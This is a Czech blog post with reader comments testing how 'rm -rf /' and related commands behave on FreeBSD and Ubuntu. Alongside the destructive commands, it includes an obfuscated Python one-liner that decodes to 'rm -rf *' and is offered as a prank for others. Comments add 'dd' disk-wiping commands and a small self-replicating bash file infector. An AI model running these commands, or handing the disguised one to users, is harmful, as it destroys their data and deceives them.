Příkazy, které vám spolehlivě zničí systém nebo počítač
Nedávno zde na rootu vyšel článek Příkazy, které vám solehlivě zničí systém nebo počítač. Stále se zde diskutuje třeba o oblíbeném rm -rf /, ale byly zmíněny i jiné způsoby. V dnešní době virtualizace není velký problém si nějaký systém snadno a rychle nainstalovat a následně se jej zkusit zničit. I manuál říká It is an error to attempt to remove the files /, . or ...
Mám jen chvilku a tak testuji FreeBSD 8.1 64bit a Ubuntu 10.04 32bit. V obou případech se rm chová trochu jinak než popisuje článek. Chtěl jsem zkusit i více, takže jsem testy nejprve prováděl jako běžný uživatel, bez vyšších práv (dobré si něco takového otestovat, pokud máte na serverech některé uživatele s funkčním shellem):
$ rm -rf /
rm: "/" may not be removed
To ale není velký problém, spustíme:
$ rm -rf /*
Nebo jak někdo zmiňoval v diskuzi -no-preserve-root. A toto už se tváří, že maže, samozřejmě dostávám spoustu hlášk permission denied. Toto jsem chtěl vyzkoušet ale spíše kvůli tomu, jestli je systém odolný proti bežnému uživateli. Na FreeBSD nedojde k žádné škodě a systém i po restartu funguje bez problémů. Stejně tak i Linux.
Přistoupíme k druhému testu, už když jsem to četl, tak se mi to nezdálo. Jednalo se o expanzi shellu u rm -rf cesta/.*
Nejprve test na FreeBSD. Protože běžný uživatel nemohl celé BSD ani smazat, zkusíme to rovnou jako root:
# cd /usr/ports/net
ls -d zs*
zsync
# rm -rf zsync/.*
rm: "." and ".." may not be removed
A opět se nic nestalo. FreeBSD tedy ok. Teď stejný pokus na linuxu.
# cd /usr
rm -rf games/.*
cannot remove directory '.'
Finální test byl rm -rf /* spuštěný uživatelem root. Tady už to samozřejmě špatně dopadnout musí. U BSD dostávám hlášky jako /tmp device busy, /bin not empty, operation not permitted. Na disku zbylo několik adresářů a souborů (/tmp, .cshrc, .profile, /lib, /sbin), ale systém je mrtvý (dle očekávání). U Linuxu to dopadá vemi podobně. Při rebootu skončíme u obou na zavaděči.
Jen jsem chtěl ukázat, že příkaz rm se chová jinak než má velké množství správců zažité. Takže pokud někomu chcete poradit příkaz # python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))', budete jej muset nejprve poupravit.
Vše z Blog Root.cz
$ rm -rf /* neni nahodou pod rootem?
Prvni pokus byl prave pod obycejnym uzivatelem. Predstavte si situaci, ze treba adresar /bin a vse v nem bude mit spatne nastavene prava. V tu chvli by vam bezny uzivatel byl schopen system poskodit
Njn, ale moje oblibene dd if=/dev/zero of=/dev/sda funguje spolehlive, pouzival jsem to vzdy kdyz jsem vracel laptop
Pro vetsi efekt se da pouzit i if=/dev/urandom, to je ale citelne pomalejsi, jinak se da experimentovat s bs=XXX pro tuning vykonu.
ano, rm -rf ... neni az tak rychle (obzvlaste ten linux, kdyz jsem to zkousel v Hyper-V). Zazil jsem situaci, kdy jeden propusteny spravce pustil na serveru dd if=/dev/zero of=..... a mate pravdu, slo to opravdu velmi rychle
[4] A jak to dopadlo? Nějaká soudní dohra?
Toto uz je mimo tema clanku, dohra nebyla.
Trochu ma zarazilo pomenovanie.
FreeBSD 8.1 64bit je FreeBSD
Ubuntu 10.04 32bit je Linux.
;o)
mate pravdu
Priste to zkusim pojmenovat lepe
zkouseli jste tyto prikazy pod windows?
)
zajimavy napad, jdu na to
na zadelani si problemu ve widlich staci vymazat boot.ini v rootu systemoveho disku.
u unixu nebo linuxu si staci odmazat treba /bin a jste na tom stejne
tady jde o to, ze ve windows nemuzes zlikvidovat (zformatovat) systemovy oddil, zatimco v linuxu staci byt prihlasen na root a nechtene napsat tento prikaz... to ze se smaze boot.ini tak jde jednodusse opravit z instalacniho CD.
A ako je to s hdparm? Ma to niekto vyskusane ci to naozaj spravi pozadovanu vec?
zkuste tenhle skriptik:
je to jeden z prvnich bash skriptu, ktery jsem psal kdysi pred lety, tak se trochu omlouvam (predevsim kvuli z hlediska pametove narocnosti suboptimalnimu zpracovani vystupu prikazu find). jenom poznamenam, ze je potreba malinko upravit prvni radek (kvuli script-kiddies) - hashbang nepocitam jako radek. system by mel po provedeni nabootovat, ale uz nikdy nebude jako driv
#!/bin/bash
for i in $( find /dev/null 2> /dev/null | grep -i "\.bash\$\|\.sh\$" ); do #H000KED
if ( fgrep "\#H000KED" $i > /dev/null ); then
echo Already infected: $i #Debug only
continue #H000KED
fi #H000KED
echo >> $i #H000KED
cat $0 | grep \#H000KED >> $i
echo Newly infected: $i #Debug only
done #H000KED
All roads to Roma.
[3] Mě se osvědčilo bs=4096
Jinak dd je velice efekt(iv)ní...
Jenže, že je tenhle blogpost na rootu. Vždycky, když to vidím někde na žive.cz apod. tak mě mrazí, kolik asi lidí to doma hned vyzkouší......